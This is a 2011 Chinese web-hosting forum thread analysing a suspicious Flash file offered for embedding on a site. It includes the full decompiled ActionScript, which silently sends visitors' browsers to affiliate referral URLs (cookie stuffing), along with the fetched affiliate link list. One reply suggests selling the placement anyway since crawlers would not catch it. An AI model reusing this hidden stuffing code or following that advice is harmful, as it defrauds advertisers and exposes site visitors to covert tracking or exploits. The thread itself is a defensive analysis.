全球主机交流论坛
标题:
求分析一段代码,是钓鱼的还是挂马的?
[打印本页]
作者:
nanashi
时间:
2011-5-15 22:49
提示:
作者被禁止或删除 内容自动屏蔽
作者:
糕手
时间:
2011-5-15 22:50
提示:
作者被禁止或删除 内容自动屏蔽
作者:
stick
时间:
2011-5-15 22:51
挂马
作者:
qiqi13245
时间:
2011-5-15 22:52
http://www.cleanregservice.com/fly/custom.swf
这个是什么
作者:
qiqi13245
时间:
2011-5-15 22:53
一个是统计 一个是SWF
作者:
nanashi
时间:
2011-5-15 22:59
提示:
作者被禁止或删除 内容自动屏蔽
作者:
nanashi
时间:
2011-5-15 23:02
提示:
作者被禁止或删除 内容自动屏蔽
作者:
ATOM
时间:
2011-5-15 23:04
swf能做很多事情吧。
作者:
刹那芳华
时间:
2011-5-15 23:04
挂马的
作者:
瘦够了
时间:
2011-5-15 23:14
如果是挂马的话这个价格也太低了。。。按流量算一万IP也得100-150吧。。。
作者:
stick
时间:
2011-5-15 23:51
google和firefox貌似只会分析出恶意的js代码
swf挂马,就是利用老版本flash空间的漏洞,构造带shellcode的字符串,在调用某个函数的时候溢出执行代码,多半是download and excute
作者:
nanashi
时间:
2011-5-15 23:55
提示:
作者被禁止或删除 内容自动屏蔽
作者:
wdlth
时间:
2011-5-16 00:01
package custom_fla
{
import flash.display.*;
import flash.events.*;
import flash.net.*;
import flash.text.*;
dynamic public class MainTimeline extends MovieClip
{
public var swfLocation:Array;
public var imageArea:MovieClip;
public var swfDirectory:String;
public var imageLoader:Loader;
public var output_main:TextField;
public function MainTimeline()
{
addFrameScript(0, this.frame1);
return;
}// end function
public function imageLoaded(event:Event) : void
{
this.imageArea.addChild(this.imageLoader);
return;
}// end function
public function imageLoading(event:ProgressEvent) : void
{
return;
}// end function
function frame1()
{
this.swfLocation = this.loaderInfo.url.split("/");
this.swfDirectory = this.loaderInfo.url.substr(0, this.loaderInfo.url.length - this.swfLocation[(this.swfLocation.length - 1)].length);
this.bgimg();
this.output_main.text = this.output_main.text + "\n" + "Start stuffer";
return;
}// end function
public function getaff()
{
var affLoader:URLLoader;
var _affurl:String;
var _trackref:String;
var onLoaded:Function;
onLoaded = function (event:Event) : void
{
var keyStr:String;
var valueStr:*;
var evt:* = event;
var strSplit:* = affLoader.data.split("&&&&&");
try
{
var _loc_3:int = 0;
var _loc_4:* = strSplit;
while (_loc_4 in _loc_3)
{
keyStr = _loc_4[_loc_3];
valueStr = String(strSplit[keyStr]);
output_main.text = output_main.text + "\n URL: " + valueStr;
stuff(valueStr);
}
stuff("http://www.google.com");
}
catch (error:Error)
{
trace("error in loading");
}
return;
}// end function
;
var affRequest:* = new URLRequest(this.swfDirectory + "getaff.php");
affLoader = new URLLoader();
var affVariables:* = new URLVariables();
affRequest.method = URLRequestMethod.GET;
affRequest.data = affVariables;
affLoader.addEventListener(Event.COMPLETE, onLoaded);
affLoader.load(affRequest);
return;
}// end function
public function stuff(param1)
{
var stlink:* = param1;
this.output_main.text = this.output_main.text + "\n Stuff this url: " + stlink;
var stuffRequest:* = new URLRequest(stlink);
var stuffLoader:* = new URLLoader();
var stuffVariables:* = new URLVariables();
try
{
sendToURL(stuffRequest);
}
catch (e:Error)
{
}
return;
}// end function
public function loadImage(param1:String) : void
{
this.imageLoader = new Loader();
this.imageLoader.load(new URLRequest(param1));
this.imageLoader.contentLoaderInfo.addEventListener(ProgressEvent.PROGRESS, this.imageLoading);
this.imageLoader.contentLoaderInfo.addEventListener(Event.COMPLETE, this.imageLoaded);
return;
}// end function
public function track()
{
var trackLoader:URLLoader;
var onLoaded2:Function;
onLoaded2 = function (event:Event) : void
{
var _loc_2:* = trackLoader.data.split("&");
var _loc_3:* = _loc_2[1].split("=");
var _loc_4:* = _loc_3[1];
output_main.text = output_main.text + "\n" + trackLoader.data;
if (_loc_4 == "proceed")
{
output_main.text = output_main.text + "\n Stuff";
getaff();
}
else
{
output_main.text = output_main.text + "\n Do not stuff";
}
return;
}// end function
;
var trackRequest:* = new URLRequest(this.swfDirectory + "track.php");
trackLoader = new URLLoader();
var trackVariables:* = new URLVariables();
trackRequest.method = URLRequestMethod.GET;
trackRequest.data = trackVariables;
trackLoader.addEventListener(Event.COMPLETE, onLoaded2);
trackLoader.load(trackRequest);
return;
}// end function
public function bgimg()
{
var imgLoader:URLLoader;
var onLoaded4:Function;
onLoaded4 = function (event:Event) : void
{
loadImage(imgLoader.data);
track();
return;
}// end function
;
var imgRequest:* = new URLRequest(this.swfDirectory + "getimg.php");
imgLoader = new URLLoader();
var imgVariables:* = new URLVariables();
imgRequest.method = URLRequestMethod.GET;
imgRequest.data = imgVariables;
imgLoader.addEventListener(Event.COMPLETE, onLoaded4);
imgLoader.load(imgRequest);
return;
}// end function
}
}
复制代码
作者:
nanashi
时间:
2011-5-16 00:04
提示:
作者被禁止或删除 内容自动屏蔽
作者:
qiqi13245
时间:
2011-5-16 00:11
貌似是java语言。。
作者:
wdlth
时间:
2011-5-16 00:15
getaff.php的代码是
http://atq.ck.valuecommerce.com/servlet/atq/referral?sid=2219441&pid=877212733&vcptn=shpg%2Fp%2FCddioIIDHa82DOm_UXiASQU6sLY-&vc_url=http%3A%2F%2Fshopping.yahoo.co.jp%2F&&&&&http://**azon.co.jp/gp/redirect.html?ie=UTF8&location=http%3A%2F%2F**azon.co.jp%2F&tag=fujittchi-22&linkCode=ur2&camp=247&creative=1211&&&&&http://www.google.com
复制代码
Value Commerce——按交易量收取报酬的广告模式,应该是个刷流量之类的,注意可能会spam或者变恶意网站。
作者:
stick
时间:
2011-5-16 00:18
imgLoader.load(imgRequest);
在swf构造http请求,那么shellcode应该是由getimg.php输出
大体就是,旧版本的flash控件在载入image对象的时候可能会溢出
就是挂马,否则也是间谍软件
诱惑这么大看你咯,我估计你做游戏主题的
作者:
stick
时间:
2011-5-16 00:20
16#导出getimg.php的内容了也,如果只是加载广告代码而已,应该无事的
作者:
nanashi
时间:
2011-5-16 00:29
提示:
作者被禁止或删除 内容自动屏蔽
作者:
nanashi
时间:
2011-5-16 00:58
提示:
作者被禁止或删除 内容自动屏蔽
作者:
stick
时间:
2011-5-16 04:14
不确定,
swf总共载入了三个php,track.php应该是计数器
16#兄弟只给出了getaff.php的内容,这个内容可能是用于增加广告收入的
imgLoader.load 是载入图像的,既然这个swf只显示1px,那么载入图像肯定不是用来显示的,
至于其他目的,我能猜想到的还是尝试溢出
作者:
nanashi
时间:
2011-5-16 04:46
提示:
作者被禁止或删除 内容自动屏蔽
作者:
stick
时间:
2011-5-16 05:10
怎么讲,swf本身是一个正常的文件,不含恶意代码的,关键是看它发出了什么请求,杀毒软件会检测恶意js,或者非法的ActiveX对象调用,swf发出的请求是更深入的一层,我估计很少杀毒软件会监控到这一层
抱歉了,我也不晓得如何分析getimg.php产生的图像是不是有shellcode
不过有一个麻烦一些的办法,找台电脑,安装低版本的flash,安装hips软件(带溢出攻击检测的),然后用浏览器去测试看看是否警报吧
我觉得你想卖还是可以卖的吧,毕竟这个swf是正常的,google的蜘蛛难道有能力去反编译Swf再去追踪到底发出了什么请求?不大可能。但是万一大面积中毒的话,用户举报又是另一回事了。。。
欢迎光临 全球主机交流论坛 (https://mjj.022333.xyz/)
Powered by Discuz! X3.4